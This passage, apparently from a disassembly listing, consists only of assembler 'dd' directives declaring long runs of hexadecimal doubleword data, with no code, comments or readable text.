0E01B3CBCh dd 4C4C3E84h, 0F2036C07h, 0CFBE3D7Fh, 84D2C09Ch, 9C00E1DAh dd 0DE2E2855h, 77B4Eh, 72437432h, 0BF2D4C91h, 0AA0E7E60h dd 79EDE3h, 17A25571h dd 0E2BEAFD7h, 25511300h, 0D5EB26A0h, 7B0403DFh, 4F761EC0h dd 3CC027DBh, 2600520Dh, 0A285726Ah, 5C35867Bh, 64004597h dd 1098CE25h, 0B31F7ABAh, 5A802EC8h, 803C881Ch, 0B978267Eh dd 753C90h, 0B8CC6F5Fh, 0A06793D7h, 0C246BA00h, 7F1AE6FEh dd 30853F01h, 0FEB9D85h, 9B08007Ch, 6EE5D9DDh, 1C929858h dd 1502F4EEh, 0C0EAAF28h, 1CDFFD8h, 54FE3FA4h, 0BE8A6FFDh dd 5C090070h, 959F3584h, 970A3ACCh, 6606CD3Ah, 99AC3E31h dd 0CA5E331Bh, 7C77C030h, 78D01D8Ch, 6CDB0C9Ch, 0FB0537BEh dd 0B7866932h, 4B5E2681h, 0B509208Fh, 65F33E5h, 18A47920h dd 0AC06F574h, 8FF1D9D3h, 0FC150068h, 8AC57EA8h, 0A418FA85h dd 0BD4008D7h, 0D29501B8h, 75F54738h, 6BBAE440h, 18466900h dd 0F7886D43h, 1E25Ah, 21781DF0h, 89B299AEh, 506BB513h dd 0DD8B0800h, 102E860h, 0A272FFF7h, 0E4AD3C95h, 9000F4B7h dd 2C6D92B6h, 0F35BC416h, 79D7B180h, 61B97477h, 0B1048D19h dd 0A0C00E19h, 4E710007h, 2FB683D5h, 151870C1h, 787E7BDEh dd 0A60603E1h, 1B74E35Fh, 0FEDA8080h, 0CE4B330Eh, 8D326030h dd 2641DBA2h, 1345306h, 9405D960h, 32626059h, 56845D00h dd 2FEE3D8h, 0D2C8A8AFh, 0FD521F06h, 3112407Ah, 33FF830Dh dd 59085D00h, 7E30D284h, 94CD0C8Fh, 0B6B07D75h, 59EE7B75h dd 9211B560h, 1273A048h, 407CAB9Bh, 904C6308h, 8001A91h dd 515FEC7Bh, 185BD6Bh, 0BAC662E0h, 0C8C3DDB1h, 0F50E1C27h dd 8014D312h, 26BE3863h, 3607A94h, 3C2FD9FFh, 1129F961h dd 615F04FAh, 80180465h, 8D409810h, 391E14h, 127B6E3Bh dd 381C19A7h, 8A659100h, 0EBFA83C3h, 2990E966h, 446188C7h dd 0C42E23AEh, 446FF344h, 524878E6h, 2294CF42h, 76226B5Fh dd 0C0B6224Ah, 0E0780403h, 1843EF6h, 72DF5507h, 0E03FF7AEh dd 0F038430Dh, 67E083A9h, 808B5D91h, 300B38h, 97704EFBh dd 1D5A2CF1h, 0C74FE801h, 189A0EF8h, 7EAD95D8h, 0BDD5026Bh dd 6589C949h, 56E74D60h, 0A1110800h, 1EF66B94h, 37FD00B4h dd 0AD2C24F2h, 1900EF93h, 53D90EB2h, 0FBA6488h, 0C25234ECh dd 0C2B8F40h, 0B706955Bh, 168905F5h, 0A76E0311h, 7431688Eh dd 86E0B0E0h, 7A3C8A04h, 5C9053EAh, 0F27F9682h, 1EE4EABDh dd 809BAD19h, 433145BBh, 4B00BA09h, 3F8026D9h, 0C1F3AEh dd 0DEF1FD36h, 0A5831D4h, 8C6CA600h, 0E50DE12Dh, 64D01E7h dd 8D168C9h, 0BC7BF48Ah, 3F255900h, 0CEB1A075h, 0CBE2E4h dd 1577707Ah, 0B54CBD69h, 0A138E900h, 0CE24D91h, 0F3720055h dd 42E564F2h, 0DA1DBBA9h, 43C11ED1h, 9B7CB065h, 466036FDh dd 1BD7034Dh, 79516D02h, 0F4B2AAC1h, 8FFEEE07h, 521D8000h dd 0E40D175Ch, 7B650055h, 9BF1299Dh, 0A3FE19B8h, 0CED8C500h dd 6F36712Dh, 0A22C005Bh, 99B6E755h, 4407C3F9h, 56069773h dd 0D5A17287h, 43D4259Ch, 389D007Ch, 8A5351FDh, 61030268h dd 97368E4Ah, 5FD00003h, 952C6A82h, 4003C894h, 0E31E4A27h dd 46C2C07Bh, 2378008Eh, 0A495023Ah, 8C006210h, 0E6D34DA8h dd 67C76Dh, 0BC5C91B5h, 0FCE282EBh, 2F63AC0Fh, 6EFE6126h dd 0C60865Fh, 0D9182C62h, 7F4B00FDh, 44417449h, 43822C01h dd 0CDD4EA38h, 36C5D0h, 312DC93Dh, 854EFDCEh, 46E438h dd 2187C46Eh, 5F4476h, 0C726534Fh, 66C03858h, 390EA2F4h dd 40037AA1h, 0B64B4DAEh, 873001Fh, 6EC65335h, 0AC008388h dd 7036E94Fh, 3ADB07h, 61331FF1h, 0C49A727Dh, 0D8A1D528h dd 63141500h, 79B47B9Fh, 5661FB35h, 0F64288DCh, 0FAEB78D2h dd 231500D4h, 6758F244h, 0D773F025h, 0A2A4E0Ah, 0E807DCD3h dd 65106442h, 3897441h, 0EA8BE26Bh, 0FA980E1Fh, 38C05CF7h dd 0C28D9AD6h, 66EC0024h, 0FDA5A742h, 0AB004E4Bh, 9BEEC3E1h dd 770BB48h, 0CB06E99Eh, 94B2602Eh, 2F1D1583h, 52815B21h dd 285C8DF2h, 0C01020h, 673CF759h, 6538D9F4h, 540B1490h dd 0F9CF4Bh, 813DEB8Dh, 2D18C064h, 17F2E870h, 51506800h dd 5866D452h, 0EEACA0BAh, 0EEF7E12h, 0FB166D8Ch, 24008DCFh dd 0F1D12C7Fh, 14909500h, 0C46BD789h, 347E1D65h, 859F003Fh dd 1D390151h, 965A541Fh, 740C3A40h, 0B781C2h, 0A61AA73Ch dd 52273307h, 0BF632001h, 399B343Eh, 7D869F4h, 0D27C62F9h dd 445F83F0h, 0E8A0A682h, 0AB81274Ch, 8CC2201Fh, 36EFF340h dd 86C967h, 1A3B97EBh, 9CE0B46Ah, 0ED172F00h, 53A3207Bh dd 0BD21045Fh, 80261338h, 0EA4BD6A8h, 0D39ECD00h, 99C6E59Dh dd 0C37FC7h, 0ADBE1C47h, 63D65C81h, 4CC5F900h, 4A25E067h dd 537E1498h, 8600F213h, 0C106C0E1h, 0D7095515h, 8F7B6107h dd 6A3DE08Bh, 0EC3C1441h, 978301F2h, 50780C15h, 0D8A7F846h dd 0EB48260Fh, 57026081h, 0E4B9DE3Ch, 8DF4EBBBh, 349200EDh dd 4EA3A541h, 39E89815h, 2185FF00h, 6F1B5A7Ch, 7238005Dh dd 0E1CB6925h, 62000748h, 0A3318E77h, 0E6A78712h, 825E03D7h dd 7093CA04h, 782741B8h, 14E12800h, 296FFC55h, 15C90053h dd 76B24EC1h, 1900F9AFh, 0DD95243Dh, 38758086h, 78806C71h dd 37EE58ECh, 8901FAD4h, 0AF454F28h, 99C1B5D2h, 0FA26CBD8h dd 3C8F7D15h, 49036B5Ch, 81C96E5Dh, 927D3001h, 4D707FFh dd 1F45F8h, 375F08DAh, 8B36E4C5h, 315D2A00h, 0A4264346h dd 86DF001Ah, 0BF873A47h, 270152ADh, 5F9FDA7Fh, 40F875FBh dd 5890ABh, 665E68D6h, 333E7434h, 54D3D402h, 40614DC7h dd 7BD63A85h, 2DF4FD5Dh, 7946004Ch, 7CE771AEh, 41030959h dd 0DEA27F75h, 6C339894h, 588048DAh, 2E52DF00h, 2326AEE8h dd 4C593400h, 0C4FA62D1h, 3EF50057h, 1A74DB36h, 4B0018AFh dd 0E267B597h, 0B1BE92h, 0DD413D6Fh, 477E4ABAh, 4BB391Ch dd 24A38EFEh, 9900DE13h, 0D0CF8976h, 41CC0FEFh, 9D807F64h dd 0CB329508h, 0F2499100h, 0E6FAB43Fh, 41B7077Dh, 60DD2AC4h dd 4F406F8Eh, 7AE52500h, 0DE5B130Eh, 4E060034h, 32F4F64Ah dd 0AE04FD11h, 8FC15447h, 0E84F2480h, 0A04003Ch, 0FD754C1Ch dd 6B017913h, 7CD48665h, 0A2DC397Dh, 0F41C0FE9h, 0BC010D3h dd 76A623D1h, 75FFC300h, 5BD74C45h, 0A7470266h, 285E9560h dd 0EFC61C40h, 43E46800h, 664FB8BBh, 6718C025h, 0CA026B0Eh dd 0CE0EB8B0h, 403F5B43h, 6F7D44DAh, 0EFDF0D09h, 80A68720h dd 86FDA1A8h, 2843AE0h, 516FFAD3h, 64C00B0Ah, 0D776C747h dd 14FD4101h, 186E8650h, 7FD66880h, 0EB73E2B6h, 0B0321C02h dd 0C0C3ECF4h, 1F27E134h, 40F97436h, 9A2B618Ch, 5E00A34Bh dd 1640F145h, 0C0AAA527h, 111F8B11h, 0E77A9CC9h, 3E5DB00h dd 73BBEFF8h, 4835705Ah, 9500D569h, 8CB88546h, 0C4FFE6F6h dd 343EBD30h, 1EAE807Fh, 0A6CFE318h, 0A1B60021h, 0E7828DFCh dd 20009D4Ah, 0BC31B381h, 3B46B0FEh, 0C100729Fh, 2F3364E4h dd 0A11BC58Bh, 0C896DF11h, 0F0F3E80Fh, 7790A092h, 5798000Dh dd 4A2B8332h, 7D097A50h, 0A789BFA0h, 49D01F14h, 9F1CECh dd 0D66FB3CFh, 0CC82FCA3h, 1660B900h, 790220C0h, 847D09ECh dd 88738C7h, 4F96222Dh, 8ACABC60h, 63F4AA00h, 0A9297E7h dd 0C7A60044h, 0E9B8950Dh, 43E65C5h, 0ECCD81ABh, 22CF9AE4h dd 43E430h, 21338551h, 741F3FF4h, 0B91BAF00h, 0F9A82516h dd 4104C36h, 0BC9BC100h, 22CD0F14h, 7ED6A00h, 0C9766075h dd 8FA00EFh, 6B16389Bh dd 0B014377Fh, 809591h, 0D70A88F7h, 3AA037Bh, 0FFFDD1F5h dd 0A0C35520h, 89F23A8h, 9A6CC91Dh, 0EF2A4C80h, 8B0A58h dd 0E0384B02h, 80534198h, 0FD6EF902h, 3334705h, 539C3EADh dd 38B53C20h, 0BDBE2483h, 0E492008Ch, 1B9F7832h, 8644A607h dd 0B0309661h, 3FB4AACFh, 0CD030AA0h, 0EDA6AD68h, 0C528A0A4h dd 0AE000E7Eh, 0EFD82AC3h, 9576E3h, 0C93C63CBh, 0D7583E1Fh dd 15E6FD00h, 0FCFFBFEDh, 26F300F7h, 44BB6CEFh, 6780ED4h dd 0BC59A5Ch, 89AD58A3h, 46F700E7h, 1649009h, 0C5B6323Fh dd 8EBC6528h, 0D0F1B0h, 0A2A67731h, 198CFA1Bh, 7841DCBBh dd 5D9A8F58h, 52648171h, 0C07B9716h, 0B15A0C91h, 2711C460h dd 0E2A9F7B6h, 79C100D7h, 94A2D871h, 0BDEEDF9Dh, 933B1200h dd 615FB6FFh, 0AFF0248Bh, 97F700E4h, 2C5D3F7Fh, 446ADA0Bh dd 0A7BC8033h, 0B8FC3BBCh, 0BF4F0091h, 0CF7D3D80h, 0EB6F953Ah dd 0C56BA0B8h, 0F3B206h, 5DEDB44Bh, 5463B898h, 0C253A400h dd 7680ACB0h, 0E7123344h, 9D983564h, 9E4CA0DAh, 741C4CA2h dd 8C00A098h, 8A516C88h, 7F4C25h, 58F355FDh, 799BB80Eh dd 0F2BDB900h, 0A7DEB4C3h, 3E709DECh, 0EF73BA00h, 0FF99A370h dd 39ED0E1Ch, 0E5009F45h, 0B5F4B9D6h, 0A1472E00h, 0F288FDC1h dd 930D00BAh, 57C2DB17h, 787C419Eh, 485D8100h, 6F5B582Eh dd 83D600E0h, 69928FCDh, 61007AF0h, 59FAC256h, 0EA0C11h dd 0CEC098F3h, 8D368C7Eh, 0B8E05E00h, 506227CBh, 5AEB07CAh dd 0F0D5CD69h, 9729BCB6h, 300088EEh, 65233AEFh, 2D7F25h dd 0B14C5F73h, 8007D1CEh, 46008E7Ah, 0FA70F59Ch, 4C71FB2Eh dd 0CE005CA3h, 0B8F7FDF1h, 0A62E632Dh, 0F300DD10h, 0AE5BC549h dd 0A2A32C77h, 0CAFD00F3h, 0DE1B7F2Bh, 1FC47D1Ch, 39D80381h dd 24DCC7E8h, 0EFA90072h, 3E6CA727h, 3D00CC6Ah, 0C2127509h dd 1FADD72Eh, 40FF4C1Bh, 0BDEB06DFh, 4213ED39h, 9A009C74h dd 6035E497h, 34F23Ch, 0B9011FDh, 8DC985BCh, 80E7A13Dh dd 69CD252Fh, 5643277h, 1A892907h, 0F6163Eh, 0CC7D6DECh dd 0DC09877Fh, 604F0AEBh, 485E1Ch, 1C8F8231h, 0E14BDED8h dd 6E3FB501h, 0E4B46DECh, 6074C2Ch, 0C009176Ah, 80D2AE93h dd 0F61B4C37h, 64C0D1C4h, 77AB7013h, 151A039Dh, 0FFAA4006h dd 7AFC6AC0h, 0FC0D7624h, 8B0ED080h, 0C9CB3607h, 80003526h dd 0FA5D339Bh, 7244A3Bh, 9ACD310h, 5C2F5F00h, 0F442E95h dd 91033865h, 0FD7353A6h, 0E73F9790h, 3241921Eh, 13780340h dd 487548F9h, 9C50C61Ah, 49CA000Dh, 0BC184067h, 0D8B0FDE8h dd 3C106D00h, 9FF5C97Dh, 0A06F0114h, 168EDC7Ch, 9911E8D4h dd 3B108D0Eh, 0A9756074h, 36D070h, 76B1B535h, 0A20F1E38h dd 0D33B0600h, 5E4D688h, 253700ACh, 0CD9DC703h, 34002085h dd 9024F04Dh, 4F1DE2h, 53F85DB8h, 9FC7E40Bh, 36005C98h dd 7362AD61h, 0FE81CD6Dh, 638C1E50h, 90EB0740h, 5C479005h dd 0DB025188h, 0BFBD52CFh, 86084175h, 0E83AF9DBh, 0FA613DECh dd 0AB400013h, 48AD18CBh, 3B17CD41h, 43005064h, 20860EFEh dd 0AC9717BAh, 0D214415Ah, 2021BF9Ah, 49003EEEh, 62D054Eh dd 611BDDAFh, 1847762Fh, 1F70C812h, 0F127E190h, 61508097h dd 52F28CCh, 73372354h, 0E20C90CDh, 0D0022D4h, 0B899BCEAh dd 0FB73170h, 0C49CECEBh, 844A00F2h, 3C03CF80h, 2E9D4500h dd 3E78AB2Dh, 0DDB60652h, 5E6CADBDh, 2902BE00h, 6481A508h dd 5E5D030Eh, 51C72FFh, 0B2DD0CFh, 7D0223A9h, 0D40A0665h dd 123B600Ch, 79D63D48h, 0F7D0EE03h, 78C02DA1h, 5A001F09h dd 0C5838602h, 11D11F4h, 56B042ECh, 9F207DEDh, 4DD3A428h dd 680F8200h, 0AA60Eh, 3D376158h, 3A1077F8h, 7100397Bh dd 56D97232h, 220C3Eh, 0B90B8B27h, 709A8359h, 0C7776D00h dd 0FD56341Eh, 0B187017Eh, 9180B943h, 0F3CDDDFEh, 0F8118087h dd 360159C4h, 3B69C0BAh, 87706AE4h, 305B0090h, 7F4AAAB5h dd 0E7009907h, 66E97994h, 0E46C0D9h, 272B3A82h, 60F8C240h dd 7FE05F77h, 6D1298A8h, 0EAD8AD00h, 0BCFA0C27h, 25B11E9Ch dd 0C0013FF3h, 0EA883C2h, 70F4F096h, 9700E57Dh, 0DE84061Bh dd 98FA1Eh, 0B90F0412h, 4B20CB7Dh, 0F474DC00h, 910EB16Bh dd 0A2230007h, 0E6EEF313h, 6F005729h, 0CA1B623Dh, 33CC91Fh dd 454B403Fh, 0C5A0FC8Fh, 0EE00D434h, 24862D5h, 0F5E98Eh dd 98514047h, 0D69D35EAh, 4BBF7E00h, 0B2382C1Eh, 0D5B11E2Bh dd 0E4038097h, 1558918Eh, 4BFE9A03h, 986336CBh, 7C739590h dd 7E74E43Dh, 0F2F40F9Fh, 0AB6381BDh, 0B78864DDh, 0DA0760A0h dd 0F74A44CFh, 171E45D0h, 0AA7514h, 7E519EB8h, 0E72EA625h dd 8207AEF0h, 939F4D3Bh, 56C05915h, 0C60717h, 4EB144A8h dd 76714702h, 89C540C7h, 5ADA0500h, 0BCCC09EEh, 4400DF48h dd 0D985225Eh, 19301800h, 7E53064Fh, 9FA714F3h, 0A000D496h dd 2909BB3Eh, 387FEA6Fh, 3C00D9F4h, 0ED588087h, 25018Eh dd 50182EE4h, 2A34667Dh, 0E755CF05h, 0C4404445h, 41118C9Ah dd 8A70A8h, 158B9D30h, 39934647h, 0D5983100h, 0A0ECA5A9h dd 0D2ED1E81h, 0F7690C3Ch, 8A80DA11h, 0E02289C4h, 5B0042DEh dd 30908F05h, 0F04B5E1Bh, 2A8900FAh, 44833B29h, 6D001999h dd 85DC9390h, 929F02E5h, 0F51B3E40h, 8BAA500h, 863226E1h dd 2B29211Ch, 6809B00Ch, 6CAB0964h, 0BC0E3565h, 50CB10Ah dd 5C85E38Dh, 2A788090h, 0BAF82824h, 3986C600h, 7E6D5255h dd 44A11D08h, 30758064h, 4A20F948h, 51BFFB00h, 9A992B53h dd 0C9450005h, 0EF1F44B2h, 1800D856h, 0FBCAEC2Eh, 133658Bh dd 4DE6C6F6h, 0E7792A53h, 481792Bh, 6250CDF0h, 0FA510A3h dd 6AD8B2E0h, 25ED1200h, 0AB6E913Eh, 83E01F1Fh, 9DEC09DEh dd 0C79FB287h, 412FC1A1h, 0B586F0DAh, 293A4A0Ch, 0C495965h dd 75AB778Ch, 0A5220A50h, 950D0E24h, 28981804h, 71287867h dd 197C946Ch, 702E1101h, 3DFF218Fh, 30E20C0h, 2771DDB3h dd 0B914931Fh, 30607279h, 0E0C3D1E6h, 59256028h, 741732DAh dd 7A217F01h, 1A0E3E8Fh, 40AD7048h, 9A73F965h, 0C5FAE501h dd 9749F051h, 3DFE891h, 0F3952AABh, 5C0AB86Dh, 4405EE09h dd 4D15236Bh, 804C8476h, 6B9650F3h, 0A3083A74h, 0A926F19Bh dd 7328E1A8h, 1E0694A4h, 20270422h, 89ED0CA8h, 17386EBFh dd 0E1C7EC3Eh, 0F61BB119h, 5D854F07h, 0FA940124h, 70962C75h dd 4E0C2517h, 0D84134EEh, 705160CAh, 9340EA4Fh, 0FC11E0A2h dd 789CF033h, 61118A63h, 66838D4Ah, 0CD99F40h, 0C09F08D0h dd 4A42CB21h, 0E019616Dh, 0DC499505h, 0A20970h, 0AD86FB5Bh dd 0EF294482h, 0E4FF9D07h, 9EB15973h, 908198ACh, 0CCDEA084h dd 2E84500Ah, 44394A25h, 706506A4h, 60085C8Dh, 2DCF2131h dd 0F384E4Ah, 5E378009h, 4D28A652h, 2B6E0FDh, 0FE868A0Bh dd 30844254h, 4A3260DFh, 4CA42347h, 0C8003B11h, 2A464A3Ah dd 8703401Eh, 59AB0178h, 60210020h, 0E38171Ch, 5400C3C7h dd 0A32DBBF2h, 12794A9Ch, 1F912E2h, 0F0DA5860h, 0B8410374h dd 1615BC39h, 8FEB23h, 0D2FEC2F6h, 7400C443h, 49F54411h dd 0D91B82h, 8A68D063h, 337DF346h, 670FA000h, 83F6EA80h dd 0EA4B7EF2h, 2E60EB5h, 0C03EE7B4h, 0F3D3182Ah, 47003467h dd 0E3E29B4Ch, 77F8E68h, 58B2F18Bh, 520570A4h, 9034AA5h dd 0C89D6D6Bh, 2F0CB002h dd 0C2CD1639h, 363A0FC0h, 0EDEE9300h, 6505C73Dh, 66CAF29Bh dd 16427B80h, 0B2C0058h, 0AA97DA78h, 463864E7h, 59778041h dd 0C2DCF214h, 0CC10C14Bh, 0D025ABCBh, 0EE0C7142h, 486EAD7Dh dd 7CE40362h, 773E89FEh, 415182E0h, 71506803h, 53DEE9h dd 9732F508h, 0F88F528Ah, 77683500h, 60BBB64Dh, 0BF70014Bh dd 0E2642A38h, 424980AAh, 4AE96898h, 0BED60081h, 19CBD2Dh dd 39F86B52h, 0E8B5DD00h, 3FF2600Ch, 0F8B3876h, 9A53C601h dd 0A94EDCh, 37F2427Fh, 90A102F4h, 7AFA78CAh, 6A48AD00h dd 3ABC4D8h, 67183C8Ch, 3E684E00h, 739939CCh, 0D07CDE00h dd 40050EE1h, 93470031h, 0E5CF7B80h, 0D975C2B0h, 0C1A5B400h dd 0B364FF9Bh, 9CB0647h, 8333EC5h, 0FE219361h, 442064C7h dd 6B2F2B5h, 0F5CD78D9h, 8A0120BBh, 59272E15h, 0B07A3558h dd 2978A0EAh, 0FFA17A00h, 2D552C78h, 86C31547h, 68B84075h dd 2770DA1Dh, 356BD800h, 0CEACBF7h, 97535CBAh, 731D8458h dd 7E6A7Dh, 0B4BC3D39h, 180DC04Fh, 0B0C1A48Ch, 911FB305h dd 0B09C3AFAh, 3D84324Fh, 0E7217B59h, 325590CCh, 65506F40h dd 7121A526h, 0DF853B4Bh, 5381D680h, 26D1F1CEh, 64B0A51Ch dd 0A9429B1h, 607D6C4h, 37D365ECh, 0B86008E9h, 0AC2F721h dd 7AA001ACh, 0A27F42EDh, 0F6B5C407h, 84BA1301h, 0AED921ABh dd 937C7087h, 0B0E6102Bh, 87317F80h, 70D8F0E7h, 9DD4CCh dd 0E4A35F52h, 8E83F967h, 0C7FD500h, 0DFBD3F0Ah, 0FE770739h dd 0A07E7931h, 62F2B4CEh, 85A5D403h, 0D133F66Dh, 11A1A638h dd 918A5004h, 0D510AF67h, 93BF08E0h, 9ACF00F9h, 674EFB64h dd 0AB00C83Fh, 0B2A94A8Ah, 62EAD5A4h, 9E6B2909h, 29DF0C2Bh dd 0B9228426h, 9D6722FCh, 42A03C22h, 10311122h, 22288328h dd 0BE22C7C0h, 1443503Eh, 0A6B0887Fh, 73789C7Bh, 5B6DE81Fh dd 9144A5C0h, 777CBDCBh, 0E9FCA8h, 5DE5E0FFh, 93375C8Fh dd 0DE2D0500h, 3CA25446h, 0FAAC0066h, 4032AF04h, 5009181h dd 2C2288DAh, 11ACE0Eh, 44A01F4Dh, 0D499270Ch, 93A8134h dd 40C600D8h, 0E1DAE0C2h, 2F5C0061h, 7C4F3829h, 687711C9h dd 5E0B9F00h, 477CC95h, 0E77F0365h, 2B3D1DD3h, 9E4D76A8h dd 714C000h, 3BCBAC05h, 33C26E5h, 39FE0059h, 84F91626h dd 0BFA8D8A0h, 0B0382E24h, 0F4C78000h, 3B097A61h, 5CAF2DF5h dd 0A703AFF0h, 0EDA0ADECh, 7664908Dh, 0F140E329h, 90E7BAACh dd 3C25F258h, 800C0C1h, 0BF1A123Ch, 0A90CE8B1h, 0A0DDDE80h dd 38487F35h, 504C8DD9h, 40595112h, 90C1571Ch, 5800ECE5h dd 0C35F398Fh, 0D3E035h, 1F332AA3h, 6E192F01h, 1EB839h dd 0B2AC1CA2h, 70A3931Ah, 63680062h, 0F81D448h, 8F00C524h dd 45C625A1h, 7838C3Fh, 0DA7A425Dh, 27D1304Ch, 0DE03F78Bh dd 0E1AF343Eh, 2EFE88BEh, 50E035h, 81CDFD5Fh, 5515081Ah dd 0DFFF6401h, 2B1F6C90h, 74327C70h, 611407CCh, 82C06Ah dd 0CD238770h, 0EB4BF700h, 0A33E7418h, 0C9340001h, 0D4F3BF1Eh dd 2D1CCC53h, 0AE009DFEh, 3DD9E71Ah, 0E92F00BAh, 57C89E29h dd 6C14E20Dh, 1E8CEE77h, 28800167h, 0A5E096ECh, 586B0072h dd 745A4987h, 1C305FD4h, 0BDB82466h, 5B250735h, 50E9CB9Ah dd 7A2E3EB6h, 0E401FEFCh, 67E7BC96h, 4820DE48h, 47A30072h dd 1A228653h, 1113F4A5h, 3D00FA92h, 0BF458B26h, 0DE8001Dh dd 90054F18h, 0D500C9AAh, 6361A566h, 2CD3F55Dh, 7445A5Fh dd 0F075A119h, 2B846CD7h, 20C6A730h, 50403C59h, 3B06DCE2h dd 6A0068B6h, 0ED03E073h, 0C648AA69h, 1B3A0024h, 0A3355F54h dd 8E073FBAh, 0F5BFAC00h, 0B19EC1F0h, 57034802h, 682F1B65h dd 1B146338h, 61A4C78Dh, 0A9E644A8h, 547C92EAh, 0F9B6D400h dd 3B9E457Bh, 69CC007Fh, 7C2D1699h, 753CF00Ah, 0A8DC31F4h dd 0DECC844Ah, 691F0061h, 0C2B62D88h, 88A021F9h, 7E3A244Bh dd 4DFC00FFh, 904AA205h, 0CC9A02EBh, 0BF7BE33Ah, 2792E5C0h dd 16A1BA00h, 0D2EC9645h, 3FFFAC2h, 5C68977Bh, 1AD88D84h dd 14F2F9B2h, 1C000490h, 3F2BC54Bh, 737F2F7h, 60CF1358h dd 26456249h, 0EFCD8BE0h, 0E70020EAh, 1B98FB2Dh, 0ADCABFCh dd 35DA3EF7h, 22803A88h, 93FA5FFEh, 4F0FFBEAh, 178EF51Bh dd 668DA0h, 7F8CFF21h, 22DB0F56h, 3A6D9507h, 0D487BEAAh dd 0F870F6h, 7AC823B3h, 0C41ED29Dh, 0DDEDA9FEh, 212C40C1h dd 0D509B814h, 1BB7EB71h, 0D8DFA3DCh, 0FCF96Eh, 0B93E53F5h dd 677CBAEEh, 186025Ch, 9368CC6h, 0A8CB40DAh, 7F7ED587h dd 0FD1D13C9h, 79A42039h, 17000F92h, 5EB6F5FBh, 1FB7C0A6h dd 0C2963BACh, 347EF04Ah, 0AA32D140h, 82D32C3Eh, 0A8C6C1F1h dd 308B409Dh, 4F410012h, 1E227C2h, 2B0069ECh, 0DB94D19Bh dd 2C8DFB48h, 7AE667h, 322FAACFh, 0E000BEB7h, 0E13D6330h dd 0A6EDF3h, 4681853Ch, 0B5751C29h, 0BBC4000h, 6AC46710h dd 0CCCCF974h, 1DC077Eh, 0C0345B77h, 0BA814DE7h, 63EFE21Dh dd 0AE10E598h, 4BDB0F87h, 0EBA024D9h, 5626F0E0h, 0EA410500h dd 0F50311FDh, 37360CACh, 0C1901943h, 0F728A400h, 2A690829h dd 0F8263A06h, 0ABDDE500h, 4D45CA6h, 7F23B800h, 0FDDF65ACh dd 0D951001Eh, 0CD6466D0h, 2B3B9AEDh, 0CBF60105h, 8369D8E3h dd 30620CD0h, 0F4C04FBFh, 7600C806h, 61C29EDFh, 1D3DC997h dd 807F59E3h, 24EDB122h, 430C3458h, 10AF6E47h, 5679008Bh dd 0D13EE659h, 7A0319F5h, 0BED8B47Fh, 1FF4B86Eh, 0A38B050Ah dd 8051DACAh, 0FA4CA6A7h, 0B2B31400h, 2723707Fh, 6FB102B5h dd 12815CFFh, 44B9E441h, 9B38C0F3h, 0D090F542h, 14542300h dd 7B6860EDh, 7005079Fh, 0D4B61DB2h, 0C5E8803Ah, 1B054841h dd 969A6C5Ch, 0ACCADFC1h, 0AB3060h, 4B12865Dh, 0DE911A2Bh dd 0E3EC6400h, 2E632278h, 0EE7A00D3h, 16FECF09h, 0BD1224B1h dd 0AA005F8Fh, 722DAC3Ah, 318400B5h, 489A3429h, 8B00C3B8h dd 705847D5h, 7EEAB1Ah, 5C23DCD3h, 7A0C63BAh, 5B0672C0h dd 61FFD112h, 0E60A7400h, 13AB694h, 55410CBBh, 0FC170735h dd 0D27DFF56h, 80B87939h, 0B4FB5AC7h, 1F6490h, 24E8204Eh dd 5272A751h, 943AAD2Eh, 4834B400h, 73032122h, 0B89549D3h dd 78804Ch, 0AF58B22Eh, 0B6288AC3h, 1B0ED67Dh, 2699C6h dd 68D0E65h, 0DE4F0035h, 20CB3FA3h, 47009C6Fh, 1D9E9D94h dd 58625177h, 0B20368BBh, 0F8711CBh, 0B56A4980h, 0D9A69F13h dd 780DC407h, 0BF36A491h, 71AF9E0h, 0C58A714Bh, 0D5D600BAh dd 93005F4Dh, 59CCB952h, 127F42A6h, 0B09510C6h, 1800D334h dd 0F18F4072h, 5005791Ah, 0F9850h, 3A1241C1h, 6EE352F3h dd 0B1CE5B00h, 93A1298Ah, 73F8E9h, 705DD560h, 4ED87E31h dd 0C72630C0h, 221D83h, 5B9F0308h, 678C6440h, 9CC5F300h dd 926B65ABh, 74A6003Dh, 7949BF59h, 7C1E6F9Dh, 0B4C0D350h dd 3DC572AFh, 0B7EAF0h, 38E52D4h, 0DF236808h, 0B5B9FC00h dd 3C019BFEh, 469300BEh, 3D1E51C7h, 0D003EE2h, 0F4F67CC9h dd 5368B1h, 8AA2BFE0h, 0BA2DA4A0h, 32567E09h, 39CD005Bh dd 128E89CDh, 1FEA87EBh, 83651F94h, 0ACA1489Ch, 5C4F8690h dd 0B60035F6h, 1183A0B1h, 38B4552Ah, 76D18Fh, 667FFB87h dd 2F05CD38h, 2260E605h, 90C039C1h, 0B004BDDFh, 4C9E12FCh dd 0C71421F3h, 1800C7E3h, 9B955621h, 0A46723h, 64CEF63Ah dd 28B477Eh, 89CBB00h dd 2E1A3205h, 946C00C9h, 1776ADA8h, 3900D8F7h, 471E5C27h dd 36EDA7h, 0CA520D97h, 0CDFE0A9h, 63167703h, 3A2D7DCEh dd 9C1F0169h, 0C0E45E10h, 0D5ACB073h, 80009030h, 0D9503D75h dd 383BA4B3h, 8580B90Dh, 0D517C1F4h, 770057F3h, 0C87C3D76h dd 298846Dh, 0B0471346h, 44585336h, 48D03A2Eh, 0ED548880h dd 0FAE5C97Dh, 303F05A9h, 804A8216h, 755BE11Ch, 0B15CC4F6h dd 29555038h, 0F8508E00h, 622E301Ch, 955E0EE7h, 7C403B8Bh dd 0F085A0C3h, 9D014F79h, 2F7BC877h, 6430AEF2h, 896E0076h dd 0AF15C25Ch, 4F005086h, 8135B1C0h, 0F7A0429Dh, 43474h dd 0EC9733A7h, 0BA74630Bh, 66038F01h, 7C0C8565h, 552B4F0h dd 28271783h, 18B8009Bh, 0D02C4ED2h, 67374C01h, 5CD781E8h dd 12F93C4h, 0F120B70Bh, 0C0B2C968h, 0BB002BC1h, 386CCEB5h dd 274A71h, 0C05C1978h, 0B9BD2346h, 1600BFFCh, 5FEDA618h dd 30804E3h, 3FFEF462h, 71982E7Bh, 6000C88h, 18176809h dd 9647F802h, 8F8A0020h, 287B3558h, 0DD1E3F00h, 0C95E9232h dd 8FA5882Ch, 2BEFD30h, 0E23EA0CEh, 55A8A0E2h, 12DE78CCh dd 0C090BA82h, 43AC7220h, 30D4C600h, 33BB0C01h, 0F5B31613h dd 3A380028h, 0F2F31FE5h, 0C7491100h, 72D697D2h, 0BCF91294h dd 68D809B1h, 5B200001h, 0D1B8939Eh, 40DFD027h, 0AE1F17CAh dd 0C69800F7h, 0D813C575h, 1C029252h, 821ACD86h, 7CA940EAh dd 